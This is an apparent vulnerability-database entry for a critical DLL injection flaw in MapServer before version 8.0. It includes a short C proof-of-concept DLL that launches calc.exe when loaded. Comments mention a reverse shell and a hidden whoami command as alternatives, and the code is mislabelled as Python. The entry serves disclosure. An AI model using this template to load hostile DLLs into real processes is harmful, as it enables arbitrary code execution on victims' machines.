A Dynamic-link Library Injection vulnerability in OSGeo Project MapServer before v8.0 allows attackers to execute arbitrary code via a crafted executable.
CVSS Details
CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Configurations (Affected Products)
No configuration data available.
OSGeo Project MapServer < 8.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdlib.h>
// PoC for CVE-2026-30479 DLL Injection
// This DLL executes a shell command when loaded by the vulnerable MapServer process.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Code to execute upon injection
// Example: Launching a calculator or reverse shell
system("calc.exe");
// Or use WinExec for simpler commands
// WinExec("cmd.exe /c whoami > C:\\temp\\poc.txt", SW_HIDE);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}